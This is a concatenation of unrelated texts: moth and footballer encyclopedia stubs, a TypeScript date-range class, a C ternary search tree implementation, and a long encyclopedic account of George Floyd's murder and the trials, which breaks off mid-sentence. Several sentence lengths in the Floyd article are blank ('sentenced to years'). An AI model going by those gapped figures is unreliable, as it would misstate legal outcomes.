Acleris arcticana is a species of moth of the family Tortricidae. It is found in Norway, Sweden, Finland, Greenland and North America, where it has been recorded from Ontario, Illinois and Wisconsin. The wingspan is 14–24 mm. The forewings are very dark smoky grey with a faint oblique antemedian band, represented by a few dark scales near the costa. There are some scattered blackish scales in the apical portion. The hindwings are pale smoky, slightly speckled with black near the apex. Adults are on wing from April to June and from August to September. The larvae feed on Salix glauca. References Moths described in 1845 arcticana Moths of Europe Moths of North America
```xml import * as moment from "moment"; export enum DateRange { OneWeek, TwoWeeks, Month, Quarter, Year, } export class CalendarEventRange { public Start: Date; public End: Date; public DateRange: DateRange; constructor(range: DateRange) { this.Start = moment().toDate(); this.DateRange = range; this.End = this._getRangeEnd(); } private _getRangeEnd(): Date { let end: moment.Moment; // add the appropriate number of days switch (this.DateRange) { case DateRange.OneWeek: end = moment().add(1, "weeks"); break; case DateRange.TwoWeeks: end = moment().add(2, "weeks"); break; case DateRange.Month: end = moment().add(1, "months"); break; case DateRange.Quarter: end = moment().add(1, "quarters"); break; default: // is there a max date option in Moment? i couldn't find it // instead, let's get events for the next year end = moment().add(1, "years"); break; } return end.toDate(); } } ```
Crocodeta erecta is a moth of the family Erebidae first described by Max Gaede in 1925. It is found in Papua New Guinea. References Moths described in 1925 Erebid moths of Asia Moths of Papua New Guinea Nudariina
Ptychoglene is a genus of moths in the subfamily Arctiinae. The genus was erected by Felder in 1874. Species Ptychoglene pertunda Druce, 1889 Ptychoglene xylophila Druce, 1885 Ptychoglene sanguineola (Boisduval, 1870) Ptychoglene aequalis (Walker, 1854) Ptychoglene phrada Druce, 1889 Ptychoglene erythrophora Felder, 1874 Ptychoglene coccinea (H. Edwards, 1886) Ptychoglene rubromarginata Druce, 1885 References Cisthenina Noctuoidea genera
Luis Carlos Cuartero Laforga (born 17 August 1975) is a Spanish former footballer who played as a right-back or a central defender. His professional career, hindered by several serious injuries, was devoted to a single club, Real Zaragoza. Club career Cuartero was born in Zaragoza, Aragon. He made his senior debut with his hometown club Real Zaragoza on 20 June 1993 in a 2–2 away draw against Atlético Madrid, aged 17, and went on to appear in 178 La Liga games, plus the 2002–03 season in the Segunda División. From 2006 to 2009, however, Cuartero would total three league appearances, severely hindered by knee injuries. Never more than a utility player, his best league output came in the 2003–04 campaign, when he featured in 24 matches for a final 12th place; he finally retired at the end of 2008–09, with the team again in the second tier. Honours Zaragoza Copa del Rey: 2000–01, 2003–04 Supercopa de España: 2004 Spain U21 UEFA European Under-21 Championship: 1998 See also List of one-club men References External links 1975 births Living people Spanish men's footballers Footballers from Zaragoza Men's association football defenders La Liga players Segunda División players Segunda División B players Tercera División players Deportivo Aragón players Real Zaragoza players Spain men's youth international footballers Spain men's under-21 international footballers Spain men's under-23 international footballers
```c /* ################################################################### */ /* */ /* This Source Code Form is subject to the terms of the Mozilla Public */ /* file, You can obtain one at path_to_url */ /* ################################################################### */ /* ************************************************************************ */ /* Ternary Search Tree and sorted array creation functions. */ /* Inspired by a code described in "Ternary Search Trees" by Jon */ /* Bentley and Robert Sedgewick in the April, 1998, Dr. Dobb's Journal. */ /* Links: */ /* path_to_url */ /* path_to_url~rs/strings/tstdemo.c. */ /* ************************************************************************ */ #include <stdlib.h> #include <stdint.h> #include <unistd.h> #include <wchar.h> #include <string.h> #include "xmalloc.h" #include "list.h" #include "utils.h" #include "index.h" /* List of words matching the current search. */ /* """""""""""""""""""""""""""""""""""""""""" */ ll_t *tst_search_list; /* Must be initialized by ll_new() before use. */ /* ======================================= */ /* Ternary search tree insertion function. */ /* ======================================= */ tst_node_t * tst_insert(tst_node_t *p, wchar_t *w, void *data) { if (p == NULL) { p = (tst_node_t *)xmalloc(sizeof(tst_node_t)); p->splitchar = *w; p->lokid = p->eqkid = p->hikid = NULL; p->data = NULL; } if (*w < p->splitchar) p->lokid = tst_insert(p->lokid, w, data); else if (*w == p->splitchar) { if (*w == L'\0') { p->data = data; p->eqkid = NULL; } else p->eqkid = tst_insert(p->eqkid, ++w, data); } else p->hikid = tst_insert(p->hikid, w, data); return (p); } /* ====================================== */ /* Ternary search tree deletion function. */ /* User data area not cleaned. */ /* ====================================== */ void tst_cleanup(tst_node_t *p) { if (p != NULL) { tst_cleanup(p->lokid); if (p->splitchar != L'\0') tst_cleanup(p->eqkid); tst_cleanup(p->hikid); free(p); } } /* ========================================================== */ /* Recursive traversal of a ternary tree. A callback function */ /* is also called when a complete string is found. */ /* Returns 1 if the callback function succeed (returned 1) at */ /* least once. */ /* The first_call argument is for initializing the static */ /* variable. */ /* ========================================================== */ int tst_traverse(tst_node_t *p, int (*callback)(void *), int first_call) { static int rc; if (first_call) rc = 0; if (p == NULL) return 0; tst_traverse(p->lokid, callback, 0); if (p->splitchar != L'\0') tst_traverse(p->eqkid, callback, 0); else rc += (*callback)(p->data); tst_traverse(p->hikid, callback, 0); return !!rc; } /* ======================================================================= */ /* Traverses the word tst looking for a wchar and build a list of pointers */ /* containing all the sub-tst potentially leading to words containing the */ /* next wchar os the search string. */ /* ======================================================================= */ int tst_substring_traverse(tst_node_t *p, int (*callback)(void *), int first_call, wchar_t w) { static int rc; if (first_call) rc = 0; if (p == NULL) return 0; if (p->splitchar == w) { ll_node_t *node; sub_tst_t *sub_tst_data; node = tst_search_list->tail; sub_tst_data = (sub_tst_t *)(node->data); if (p->eqkid != NULL) insert_sorted_ptr(&(sub_tst_data->array), &(sub_tst_data->size), &(sub_tst_data->count), p->eqkid); rc = 1; } tst_substring_traverse(p->lokid, callback, 0, w); if (p->splitchar != L'\0') tst_substring_traverse(p->eqkid, callback, 0, w); else if (callback != NULL) rc += (*callback)(p->data); tst_substring_traverse(p->hikid, callback, 0, w); return !!rc; } /* ======================================================================== */ /* Traverses the word tst looking for a wchar and build a list of pointers */ /* containing all the sub-tst nodes potentially leading to words containing */ /* the next wchar os the search string. */ /* ======================================================================== */ int tst_fuzzy_traverse(tst_node_t *p, int (*callback)(void *), int first_call, wchar_t w) { static int rc; wchar_t w1s[2]; wchar_t w2s[2]; w1s[1] = w2s[1] = L'\0'; if (first_call) rc = 0; if (p == NULL) return 0; w1s[0] = p->splitchar; w2s[0] = w; if (my_wcscasecmp(w1s, w2s) == 0) { ll_node_t *node; sub_tst_t *sub_tst_data; node = tst_search_list->tail; sub_tst_data = (sub_tst_t *)(node->data); if (p->eqkid != NULL) insert_sorted_ptr(&(sub_tst_data->array), &(sub_tst_data->size), &(sub_tst_data->count), p->eqkid); rc += 1; } tst_fuzzy_traverse(p->lokid, callback, 0, w); if (p->splitchar != L'\0') tst_fuzzy_traverse(p->eqkid, callback, 0, w); else if (callback != NULL) rc += (*callback)(p->data); tst_fuzzy_traverse(p->hikid, callback, 0, w); return !!rc; } /* ======================================================================= */ /* Searches a complete string in a ternary tree starting from a root node. */ /* ======================================================================= */ void * tst_search(tst_node_t *root, wchar_t *w) { tst_node_t *p; p = root; while (p) { if (*w < p->splitchar) p = p->lokid; else if (*w == p->splitchar) { if (*w++ == L'\0') return p->data; p = p->eqkid; } else p = p->hikid; } return NULL; } /* ================================================================= */ /* Searches all strings beginning with the same prefix. */ /* the callback function will be applied to each of theses strings */ /* returns NULL if no string matched the prefix. */ /* ================================================================= */ void * tst_prefix_search(tst_node_t *root, wchar_t *w, int (*callback)(void *)) { tst_node_t *p = root; size_t len = wcslen(w); size_t rc; while (p) { if (*w < p->splitchar) p = p->lokid; else if (*w == p->splitchar) { len--; if (*w++ == L'\0') return p->data; if (len == 0) { rc = tst_traverse(p->eqkid, callback, 1); return (void *)(long)rc; } p = p->eqkid; } else p = p->hikid; } return NULL; } /* ========================================================= */ /* Insertion of an integer in a already sorted integer array */ /* without duplications. */ /* */ /* IN/OUT array : pointer to the array to manage. */ /* IN/OUT size : allocated size of the array. */ /* IN/OUT nb : number of longs in the array. */ /* IN value : long value to be inserted in the array. */ /* ========================================================= */ void insert_sorted_index(long **array_ptr, long *size, long *nb, long value) { long pos = *nb; long left = 0, right = *nb, middle; if (*nb > 0) { /* Bisection search. */ /* """"""""""""""""" */ while (left < right) { middle = (left + right) / 2; if ((*array_ptr)[middle] == value) return; /* Value already in array. */ if (value < (*array_ptr)[middle]) right = middle; else left = middle + 1; } pos = left; } if (*nb == *size) { *size += 64; *array_ptr = xrealloc(*array_ptr, *size * sizeof(long)); } /* Shift remaining array elements at position pos to position pos+1 */ /* (shift right one position). */ /* """""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" */ if (*nb > pos) memmove((*array_ptr) + pos + 1, (*array_ptr) + pos, sizeof(value) * (*nb - pos)); (*nb)++; /* Set the value of the element at position pos in the passed array. */ /* """"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" */ (*array_ptr)[pos] = value; } /* ========================================================= */ /* Insertion of an pointer in a already sorted pointer array */ /* without duplications. */ /* ========================================================= */ void insert_sorted_ptr(tst_node_t ***array_ptr, long *size, long *nb, tst_node_t *ptr) { long pos = *nb; long left = 0, right = *nb, middle; if (*nb > 0) { /* Bisection search. */ /* """"""""""""""""" */ while (left < right) { middle = (left + right) / 2; if ((intptr_t)((*array_ptr)[middle]) == (intptr_t)ptr) return; /* Value already in array. */ if ((intptr_t)ptr < (intptr_t)((*array_ptr)[middle])) right = middle; else left = middle + 1; } pos = left; } if (*nb == *size) { *size += 64; *array_ptr = xrealloc(*array_ptr, *size * sizeof(long)); } if (*nb > pos) memmove((*array_ptr) + pos + 1, (*array_ptr) + pos, sizeof(ptr) * (*nb - pos)); (*nb)++; (*array_ptr)[pos] = ptr; } ```
On May 25, 2020, George Floyd, a 46-year-old black American man, was murdered in Minneapolis by Derek Chauvin, a 44-year-old white police officer. Floyd had been arrested after a store clerk alleged that he made a purchase using a counterfeit $20 bill. Chauvin knelt on Floyd's neck for over nine minutes while Floyd was handcuffed and lying face-down in a street. Two other police officers, J. Alexander Kueng and Thomas Lane, assisted Chauvin in restraining Floyd. Lane had also pointed a gun at Floyd's head before Floyd was handcuffed. A fourth police officer, Tou Thao, prevented bystanders from intervening. Before being placed on the ground, Floyd had exhibited signs of anxiety, complaining about having claustrophobia, and being unable to breathe. After being restrained, he became more distressed, still complaining of breathing difficulties, of the knee on his neck, and of fear of imminent death. After several minutes, Floyd stopped speaking. For the last few minutes, he lay motionless, and Kueng found no pulse when urged to check. Despite this, Chauvin ignored bystanders' pleas to lift his knee from Floyd's neck. The next day, after videos recorded by witnesses and security cameras became public, the Minneapolis Police Department fired all four officers. Two autopsies, and one autopsy review, found Floyd's death to be a homicide. On March 12, 2021, Minneapolis agreed to pay US$27 million to settle a wrongful death lawsuit brought by Floyd's family. On April 20, Chauvin was convicted of unintentional second-degree murder, third-degree murder, and second-degree manslaughter, and on June 25 he was sentenced to years in prison. All four officers faced federal civil rights charges. In December 2021, Chauvin pleaded guilty to federal charges of violating Floyd's civil rights by using unreasonable force and ignoring his serious medical distress. The other three officers were also later convicted of violating Floyd's civil rights. Lane pleaded guilty in May 2022 to a state charge of aiding and abetting second-degree manslaughter and was sentenced on September 21, 2022, to three years in prison to be served concurrently with his federal sentence of years. Kueng pleaded guilty on October 24, 2022, to the state charges of aiding and abetting manslaughter and was sentenced to years in prison, to be served concurrently with his federal sentence. Thao waived his right to a jury trial on the state charge in lieu of a review of the evidence and a determination by a judge. He was found guilty of aiding and abetting manslaughter in a written verdict delivered on May 2, 2023, and he was sentenced to years in prison. Floyd's murder led to worldwide protests against police brutality, police racism, and lack of police accountability. People involved George Floyd George Perry Floyd Jr. was a 46-year-old black American born in Fayetteville, North Carolina, and raised in the Third Ward of Houston, Texas. In 2014, he moved to the Minneapolis area. He resided in the suburb of St. Louis Park, and was a frequent customer at the Cup Foods convenience store in Powderhorn Park, Minneapolis. Derek Chauvin At the time of Floyd's murder, Derek Michael Chauvin, a white American, was a 44-year-old police officer who had served in the Minneapolis Police Department since 2001. Chauvin and Floyd sometimes worked overlapping shifts as security guards for a local nightclub, but the club's former owner was unsure of the extent of their acquaintance. Tou Thao Tou Thao, a Hmong-American, was 34 at the time of Floyd's murder and started as a part-time community service officer in 2008. He graduated from the police academy in 2009. After a two-year layoff, he resumed police work in 2012. Six complaints had been filed against Thao, none resulting in disciplinary action. In 2014, a man claimed Thao handcuffed him without cause, threw him to the ground, and punched, kicked, and kneed him; the man's teeth were broken and he was hospitalized. The resulting lawsuit was settled for $25,000. Thao kept bystanders away and was found guilty of violating Floyd's civil rights. J. Alexander Kueng and Thomas Lane J. Alexander Kueng, a black American then aged 26, and Thomas Kiernan Lane, a white American then aged 37, were licensed as law enforcement officers in August 2019. They had trained together. Chauvin was the superior officer responsible for most of Kueng's field training. On May 3, 2020, video of an arrest incident in Minneapolis showed Chauvin, Kueng, Lane, and another officer roughly detaining a man on the ground as bystanders pleaded for them to show mercy. Kueng and Lane were with Chauvin as the day was part of their field training. The man, whom they detained wrongfully, said he had trouble breathing, and the incident was later said to be similar to Floyd's arrest. Kueng and Lane were in their first week as Minneapolis police officers when Floyd was murdered. Lane's application to join the police department had portions covering his criminal history redacted, including convictions for obstructing legal process and damaging property when he was 18. Kueng and Lane helped Chauvin hold Floyd down; both were found guilty of violating Floyd's civil rights. In October 2022, Kueng pleaded guilty to aiding and abetting second-degree manslaughter and in December 2022 he was sentenced to three and a half years in jail. Arrest and murder Initial events On the evening of May 25, 2020, sometime before 8:00 pm, Floyd purchased cigarettes at Cup Foods, a grocery store at the intersection of East 38th Street and Chicago Avenue in Minneapolis's Powderhorn Park neighborhood. A store employee believed Floyd had paid with a counterfeit $20 bill. Employees approached Floyd while he was in his vehicle and demanded that he return the cigarettes; he refused. A store employee called the police to report that Floyd had passed "fake bills" and was "awfully drunk" and "not in control of himself". The store owner later said that most patrons who pay in counterfeit bills do not know they are fake, and that the store called the police to "make sure there is no crime being committed". The store's security camera recorded the interaction between Floyd and the employees. At 8:08, Kueng and Lane arrived, briefly entering Cup Foods before crossing the street to Floyd's SUV, parked in front of a restaurant, Dragon Wok. Lane tapped his flashlight on the window, startling Floyd. He asked Floyd to show his hands, and tapped again when he did not obey. Floyd apologized as he opened the car door. Lane instructed him three more times to show his hands. Seconds after the door opened, he drew his gun and ordered Floyd to show his hands. When Floyd complied, Lane holstered his weapon. Someone parked behind Floyd's SUV began recording a video at 8:10. They briefly struggled, and Lane pulled Floyd from the SUV and handcuffed him. Two other people in the car with Floyd, including 45-year-old Shawanda Hill, were interrogated. At 8:12, Kueng sat Floyd on the sidewalk against the wall in front of the restaurant. Lane asked Floyd if he was "on something right now", and Floyd replied "No, nothing". Kueng told Floyd he was acting "real erratic" and Floyd said he was scared. Kueng asked Floyd about foam around his mouth, to which Floyd responded that he had been "hooping" earlier. Floyd then said he was calming down, and remarked, "I'm feeling better now." At 8:13, Kueng and Lane told Floyd he was under arrest and walked him to their police car across the street. The officers then leaned him against the car's door. Floyd told the officers that he was not resisting, but that he was recovering from COVID-19, that he was claustrophobic and had anxiety, and that he did not want to sit in the car. While Kueng and Lane attempted to put him in the car, Floyd begged them not to, repeatedly saying "I can't breathe" and offering to lie on the ground instead. A Minneapolis Park Police officer arrived and guarded Floyd's vehicle (across the street by the restaurant) and the two people who had been in it with Floyd. At 8:17, Chauvin and Thao arrived in a third police car, joining Kueng and Lane, with Chauvin assuming command. He asked if Floyd was going to jail, and Kueng replied that he had been arrested for forgery. Floyd said, "I can't fucking breathe" twice. Cup Foods security footage shows Kueng struggling with Floyd for at least a minute around 8:18 in the driver's side backseat while Thao watches. According to The New York Times, at 8:19, Chauvin pulled Floyd across the backseat from the driver's side to the passenger side. Then, according to NPR, Floyd exited the vehicle while being pulled out by police and falling to the pavement. Chauvin kneels on Floyd's neck While Floyd lay on his chest with his cheek to the ground, Chauvin knelt on his neck. Floyd stopped moving around 8:20, though he was still conscious.Multiple witnesses began to film the encounter, and their videos circulated widely on the internet. At 8:20, a witness across the street began recording a video showing Chauvin kneeling on Floyd's neck, Kueng applying pressure to Floyd's torso, and Lane applying pressure to Floyd's legs, while Thao stood nearby. This witness stopped filming when one of the officers ordered him to leave. Also at 8:20, a second person, standing near the Cup Foods entrance, began recording the incident. Floyd can be heard repeatedly saying "I can't breathe", "Please", and "Mama"; Lane then asked for an ambulance for Floyd, "for one bleeding from the mouth". Floyd repeated at least 16 times that he could not breathe. At one point a witness said: "You got him down. Let him breathe." After Floyd said, "I'm about to die", Chauvin told him to "relax". An officer asked Floyd, "What do you want?"; Floyd answered, "Please, the knee in my neck, I can't breathe." At approximately 8:22, the officers called for an ambulance on a non-emergency basis, escalating the call to emergency status a minute later. Chauvin continued to kneel on Floyd's neck. A passerby yelled to Floyd, "Well, get up, get in the car, man", and Floyd, still handcuffed and face down on the pavement, responded, "I can't", while Chauvin's knee remained on his neck. Floyd said, "My stomach hurts, my neck hurts, everything hurts", requested water, and begged, "Don't kill me". One witness pointed out that Floyd was bleeding from the nose. Another told the officers that Floyd was "not even resisting arrest right now". Thao countered that Floyd was "talking, he's fine"; a witness replied that Floyd "ain't fine... Get him off the ground... You could have put him in the car by now. He's not resisting arrest or nothing. You're enjoying it. Look at you. Your body language explains it." As Floyd continued to cry for help, Thao said to witnesses: "This is why you don't do drugs, kids." By 8:25, Floyd appeared unconscious, and bystanders confronted the officers about his condition. Chauvin pulled out mace to keep bystanders away as Thao moved between them and Chauvin. Bystanders repeatedly yelled that Floyd was "not responsive right now" and urged the officers to check his pulse. Kueng checked Floyd's wrist but found no pulse; the officers did not attempt to provide Floyd with medical assistance while he was on the ground. According to the criminal complaint against Chauvin, Lane asked Chauvin twice if they should move Floyd onto his side, and Chauvin said no. Medical response and death At 8:27, a Hennepin County ambulance arrived. Shortly thereafter, a young relative of the owner of Cup Foods attempted to intervene, but was pushed back by Thao. Emergency medical technicians checked Floyd's pulse. Chauvin kept his knee on Floyd's neck for almost a minute after the ambulance arrived, despite Floyd being silent and motionless. Around 8:29, paramedics lifted Floyd onto a stretcher, then loaded him into an ambulance. Lane boarded the ambulance and checked Floyd's pulse at his neck, and a medic instructed him to perform cardiopulmonary resuscitation. A medical device was placed on Floyd's chest to provide mechanical chest compressions, and the ambulance departed for Hennepin County Medical Center. En route, the ambulance requested assistance from the Minneapolis Fire Department. At 8:32, firefighters arrived at Cup Foods; according to their report, the police officers gave no clear information about Floyd's condition or whereabouts, which delayed their ability to find the ambulance. Meanwhile, the ambulance reported that Floyd was entering cardiac arrest and again requested assistance, asking firefighters to meet it at the corner of 36th Street and Park Avenue. Five minutes later, the fire department reached the ambulance; two fire department medics who boarded the ambulance found Floyd unresponsive and pulseless. Floyd was pronounced dead at 9:25 at the Hennepin County Medical Center emergency room. Investigations and criminal charges Minneapolis police response Early on May 26, the Minneapolis Police Department issued a statement that said nothing about Chauvin kneeling on Floyd's neck: "After Floyd got out of his car, he physically resisted officers. Officers were able to get the suspect into handcuffs and noted he appeared to be suffering medical distress." Hours later, witness and security camera video circulating on the internet showed Chauvin kneeling on Floyd's neck. The department updated its statement, saying "new information" had "been made available" and that the Federal Bureau of Investigation (FBI) was joining the investigation. The four officers were briefly placed on paid administrative leave before being fired later that day. Autopsies Two autopsies—one by a local government official and one by doctors working for Floyd's family—determined that his death was a homicide. Released on June 1, 2020, they differed over whether there were contributing factors and whether the agreed cause, restraint and neck compression, was combined with subdual or asphyxiation. Andrew Baker, a pathologist and Hennepin County's chief medical examiner since 2004, performed an autopsy examination at on May 26. Prosecutors summarized portions of Baker's preliminary findings in charging documents that were released publicly on . Baker's final autopsy findings, issued on June 1, found that Floyd's heart stopped while he was being restrained and that his death was a homicide caused by "cardiopulmonary arrest complicating law enforcement subdual, restraint, and neck compression". Fentanyl intoxication and recent methamphetamine use may have increased the likelihood of death. Other significant conditions were arteriosclerotic heart disease and hypertensive heart disease, including an enlarged heart, one artery 90% blocked, and two others 75% narrowed. The report said that on April 3 Floyd had tested positive for SARS-CoV-2, the virus that causes COVID-19, but did not list it as a fatal or other significant condition. Attorneys for Floyd's family announced on that they would commission a second autopsy. It was carried out on by Michael Baden, a pathologist and former New York City chief medical examiner, and Allecia Wilson, a pathologist and director of autopsy and forensic services at the University of Michigan Medical School. They announced their results on June 1, a few hours before Baker's final findings were issued. From the evidence available to them, which did not include a toxicology report or unspecified bodily samples, they found that Floyd's death was a homicide caused by asphyxia due to neck and back compression. Also, Floyd had no underlying medical problem that contributed to his death. They said that neck compression affected blood flow to the brain, that ability to speak does not imply ability to breathe, and that Floyd apparently died at the scene. It was revealed in August 2020 that the United States Department of Justice had the Hennepin County Medical Examiner's official autopsy results reviewed by the Office of the Armed Forces Medical Examiner, which agreed with them. The Office of the Armed Forces Medical Examiner added that the police "subdual and restraint had elements of positional and mechanical asphyxiation". Federal investigation On May 26, the FBI announced it was reviewing the incident at the Minneapolis Police Department's request. On May 28, the United States Department of Justice released a joint statement with the FBI, saying that their investigation into Floyd's murder was "a top priority" and outlining the investigation's next steps: a "comprehensive investigation will compile all available information and thoroughly evaluate evidence and information obtained from witnesses ... If it is determined that there has been a violation of federal law, criminal charges will be sought". On June 16, 2023, the Justice Department issued a report on the police department that said, "Our investigation found that the systemic problems in MPD made what happened to George Floyd possible." Examination of events years before Floyd's death revealed patterns of unlawful use of deadly force, higher rates of traffic stops, searches, and unlawful use of force against African Americans and Native Americans, officers making racist comments, First Amendment violations against protesters and journalists, and indiscriminate use of force against peaceful versus violent protesters. Failed plea bargain On May 28, state and federal prosecutors held a press conference at a regional FBI office in Brooklyn Center, a Minneapolis suburb, in what was anticipated to be a major development in the case against the officers at the scene of Floyd's murder. Hennepin County Attorney Michael O. Freeman, the local official with jurisdiction to bring criminal charges for police misconduct, said his office needed more time to investigate. In explaining the anticipation of the media briefing and its two-hour delayed start, U.S. Attorney Erica MacDonald said, "I thought we would have another development to talk to you about, but we don't." On June 9, it was revealed that state and federal prosecutors had discussed a plea deal with Chauvin that would have included state murder charges and federal civil rights charges, but the deal fell apart when United States Attorney General William Barr rejected it. Chauvin believed his prospects of winning at trial could be poor, and was willing to plead guilty to third-degree murder for a ten-year prison sentence. As he would have gone to federal prison, the federal government was involved. Barr worried that protesters might view the agreement as too lenient and prefer a full investigation. State criminal charges On May 29, Chauvin was charged with third-degree murder and second-degree manslaughter and held at Oak Park Heights state prison. According to the criminal complaint, police are trained that the neck restraint that he applied "with a subject in prone position is inherently dangerous". He was the first officer in Minnesota to be charged in the death of a black civilian. On , the charge against Chauvin was upgraded to second-degree murder, and the three other officers were charged with aiding and abetting second-degree murder as well as aiding and abetting second-degree manslaughter. The officers were held in jail after the state criminal charges were filed. Before the trials, the four officers were released on bail. Lane was released on June 10, Kueng on June 19, and Thao on July 4. Chauvin was released on October 7 after posting a $1 million bond. State civil rights action On June 2, the Minnesota Department of Human Rights opened an investigation into the Minneapolis Police Department's practices. On June 5, the Minneapolis City Council authorized the mayor to enter a restraining order with the State of Minnesota banning chokeholds and neck restraints, requiring police officers to intervene against other officers' use of excessive force, and requiring authorization from the police chief or other designate before using crowd-control weapons such as chemical agents and rubber bullets. On June 8, a Hennepin County Court judge ordered the Minneapolis Police Department to cooperate with a civil rights investigation, and extended the restrictions on the department to require that the chief make discipline decisions in a timely and transparent manner, and that civilian analysts and investigators in the city's Office of Police Conduct Review be given authority to audit body-worn camera footage and to file or amend complaints on behalf of the Minneapolis Civil Rights Department. In April 2022, the state investigation into the Minneapolis Police found that the city and the police department engaged in a "pattern or practice of race discrimination" and that the police department's organizational culture had "flawed training and emphasized a paramilitary approach" with a lack of accountability. Federal civil rights charges In February 2021, the United States Department of Justice empaneled a grand jury in Minneapolis as part of a federal investigation into Chauvin. On May 7, 2021, all four officers were indicted on federal charges of civil rights violations. Chauvin was indicted for violating Floyd's civil rights, along with those of a teenager who survived a similar restraint in 2017. The other three officers also faced charges for violating Floyd's civil rights. Thao, Lane, and Kueng appeared at a hearing virtually, and each posted $25,000 bond. Chauvin did not appear at this hearing, and remained in jail while awaiting sentencing for his state charges. Civil litigation and settlement In July 2020, Floyd's family filed a wrongful death lawsuit in federal court against the City of Minneapolis and the four officers involved in the murder. The complaint said Floyd's Fourth Amendment rights were violated by "excessive use of unjustified, excessive, illegal, and deadly force". The lawsuit did not specify the amount of monetary damages the family sought. On March 12, 2021, the City of Minneapolis announced a settlement with Floyd's family for $27 million. The City Council approved it unanimously. Family lawyer Ben Crump called it the "largest pre-trial settlement in a civil rights wrongful death case in U.S. history". The settlement surpassed the previous record for Minneapolis of $20 million, paid in 2019 in the killing of Justine Damond. The city allocated $500,000 "for the benefit of the community around 38th and Chicago", the intersection where Floyd was murdered. Trials and plea agreements Criminal trial of Chauvin Chauvin's trial commenced in Minneapolis on March 8, 2021, in Hennepin County District Court. Opening statements occurred on March 29, 2021, and closing arguments on April 19, 2021. On April 20, 2021, the jury found Chauvin guilty of all charges, including second-degree unintentional murder, third-degree murder, and second-degree manslaughter. He was the first white Minnesota police officer to be convicted of murdering a black person. It was only the second time an officer has been convicted of murder in Minnesota, the first being the third-degree murder conviction of Somali-American officer Mohamed Noor in the shooting of Justine Damond, a white woman. Following Chauvin's conviction, Judge Cahill revoked his bail and Chauvin was taken back into police custody due to flight risks and the dangers of publicity that this case has brought. Chauvin was given a sentence of 22.5 years in custody. On May 12, 2021, Judge Cahill allowed for the prosecution to seek a greater prison sentence than the 12.5-year state guideline after finding that Chauvin treated Floyd "with particular cruelty." Chauvin filed an appeal for a new trial. On April 17, 2023, a three-judge panel for the Minnesota Court of Appeals affirmed the original criminal conviction. Chauvin appealed to the Minnesota Supreme Court, which denied his petition to hear the case in an order issued on July 19, 2023. Attorneys for Chauvin said they would appeal to the United States Supreme Court. Federal civil rights proceedings The federal civil rights trial was initially scheduled to include all four officersChauvin, Kueng, Lane, and Thaoand begin in January 2022 with U.S. District Judge Paul A. Magnuson presiding. The four officers were charged federally with abusing their positions as police officers, depriving Floyd of his constitutional rights to be "free from the use of unreasonable force", and failing to give medical aid. All four officers pled not guilty to the charges at a September 14, 2021, arraignment hearing. Chauvin faced an additional federal charge for a 2017 arrest incident of a 14-year old in Minneapolis that he initially pled not guilty to. In late 2020, prior to the trial, lawyers for Thao, Lane, and Kueng had sought to sever their case from Chauvin's. In a hearing on November 29, 2021, Magnuson ruled that all four officers would stand trial together. Chauvin pleads guilty Chauvin requested a hearing in December 2021 to offer a revised plea to the federal charges, a legal move that did not apply to the other three officers. He pled guilty on December 15, 2021, to the federal charges of violating the rights of Floyd and for the charge related to the 2017 incident. Chauvin admitted to willfully violating Floyd's constitutional right to be free from unreasonable seizure, including the right to be free from unreasonable force by a police officer. Chauvin also admitted to willfully violating Floyd's constitutional right not to be deprived of liberty without due process of law, including the right to be free from a police officer's deliberate indifference to Floyd's serious medical needs. On July 7, 2022, Judge Magnuson sentenced Chauvin to 21 years, with roughly 17 incarcerated and 5 under supervised release, that will be served concurrently with his state criminal sentence. Trial of Kueng, Lane, and Thao The federal civil rights trial of Kueng, Lane, and Thao was held at a courtroom in the Warren E. Burger Federal Building in Saint Paul, Minnesota. Jury selection began on January 20, 2022, and opening statements were given by both sides on January 24. The 12-person jury seated for the trial was drawn from across Minnesota. The racial makeup of the jury was described by The New York Times as appearing to be all-white, a contrast to the more racially diverse jury during Chauvin's criminal trial. The prosecution's first witness, Katie Blackwell, testified for three days about the department's training and policies regarding use of force. During her testimony, Blackwell stated that the officers should have moved Floyd onto his side to prevent him having a cardiac arrest. Andrew Baker, who performed Floyd's autopsy, also took the stand to repeat his testimony from Chauvin's trial. The court postponed trial proceedings until February 7, after Lane tested positive for COVID-19. When the trial resumed, officer Nicole Mackenzie testified that Kueng and Lane were in a medical training course that she instructed, and that her course included lessons in first aid. Dr. David Systrom, a pulmonologist, testified that Floyd's chances of survival could have "doubled or tripled" if the officers performed CPR on him. Use-of-force expert Tim Longo testified that Chauvin was acting outside of department protocol and the other officers should have intervened to save Floyd, although Lane's defense questioned this view. Testimony was also heard from Darnella Frazier, who filmed the initial arrest and Floyd's subsequent murder. The prosecution rested with this testimony. Tou Thao took the stand to testify in his own defense. Thao claimed that he was not aware that Floyd was suffering medical problems until he was taken into the ambulance, and that the technique of kneeling on a detainee's neck was "not uncommon", although he denied having ever done so. He admitted that neither Chauvin nor any other officers had administered CPR to Floyd, but claimed he took this to indicate Floyd was breathing. Thao also stated that his main role at the scene was "crowd control" rather than to assess Floyd's condition. Closing arguments were heard on February 22. Prosecutor Manda Sertich stated that Kueng, Lane, and Thao "chose to do nothing" while Floyd was dying. Defense attorneys stated that the former officers were inexperienced, improperly trained, and that they did not willfully violate Floyd's civil rights. After deliberating for 13 hours over two days, the jury on February 24 found the former officers guilty on all counts they faced at trial. All three officers were convicted of willfully violating Floyd's constitutional rights by not providing medical care when he lost a pulse. Kueng and Thao were also found guilty of failing to intervene to stop Chauvin from using unreasonable force. After finding them guilty, the jury concluded that the cause of Floyd's death was Chauvin's restraint, which permitted the judge to consider a lengthier sentence than the recommended three to four years in prison. The three officers remained free on bond while they awaited a sentencing hearing. In July 2022, Judge Magnuson sentenced Lane to 2.5 years in prison, Kueng to three years in prison, and Thao to 3.5 years in prison. Lane was ordered to report to federal prison on August 30, 2022. By October 2022, Kueng and Thao had both reported to federal prison. Thao filed an appeal, but on August 4, 2023, the United States Court of Appeals for the Eighth Circuit affirmed his federal conviction. Criminal proceedings for Kueng, Lane, and Thao Kueng and Lane plead guilty The state criminal trial of Kueng, Lane, and Thao was delayed several times to allow the federal civil rights case to proceed first. In a ruling on April 26, 2022, Judge Peter Cahill, who also presided over Chauvin's trial, ordered that the proceedings of the trial would not be livestreamed, a move that media organizations criticized. Lane pleaded guilty in Hennepin County District Court on May 18, 2022, to the charge of aiding and abetting manslaughter related to the murder of George Floyd. The charge against Lane for aiding and abetting second-degree murder was dismissed. Lane agreed to a three-year sentence, with two years in prison, to be served concurrently with his civil rights federal conviction. On September 21, 